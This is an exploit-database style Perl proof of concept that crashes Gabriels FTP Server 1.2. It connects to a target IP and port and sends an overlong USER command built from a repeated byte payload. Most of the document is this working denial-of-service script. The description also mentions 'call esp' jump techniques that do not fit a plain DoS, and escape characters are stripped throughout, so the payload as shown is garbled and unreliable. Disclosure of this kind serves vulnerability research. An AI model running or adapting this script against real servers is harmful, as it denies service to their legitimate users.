Gabriels FTP Server 1.2 Denial Of Service

#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: Gabriels FTP Server 1.2 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 25 january 2024
# Vendor Homepage:  N/A
# Download to demo: https://drive.google.com/file/d/1k8QxfP6x908E-1QpRAVulKoAM9OEo1a8/view?usp=sharing
# Notification vendor: No reported
# Tested Version: Gabriels FTP Server 1.2
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=wwHuXfYS8yQ

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server does not correctly handle the amount of data or bytes of the USERNAME entered by the user.
#When authenticating to the FTP server with a long USERNAME or a USERNAME with a large number of characters for the server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

    $sis="$^O";

    if ($sis eq "windows"){
      $cmd="cls";
    } else {
      $cmd="clear";
    }

    system("$cmd");
    
    intro();
    main();
    
    print "[+] Exploiting... n";

    my $payload = "x41x2Cx41x20x42"x500;

    my $ftp_socket = IO::Socket::INET->new(
        PeerAddr => $ip,
        PeerPort => $port,
        Proto    => 'tcp',
        Timeout => '10',
    ) or die "Não foi possível se conectar ao servidor.";


    my $response = <$ftp_socket>;

    print $ftp_socket "USER $payloadrn";

    print "[+] Done - Exploited success!!!!!nn";
  
   sub intro {
      print "######################################################################n";
      print "#                Gabriels FTP Server 1.2 - Denied of Service         #n";
      print "#                                                                    #n";
      print "#                       Coded by Fernando Mengali                    #n";
      print "#                                                                    #n";
      print "#                 e-mail: [email protected]               #n";
      print "#                                                                    #n";
      print "######################################################################n";
  }

  sub main {

our ($ip, $port) = @ARGV;

      unless (defined($ip) && defined($port)) {

        print "       nUsage: $0 <ip> <port>                 n";
        exit(-1);

      }
  }

#3. Solution/ How to fix:

# This version product is deprecated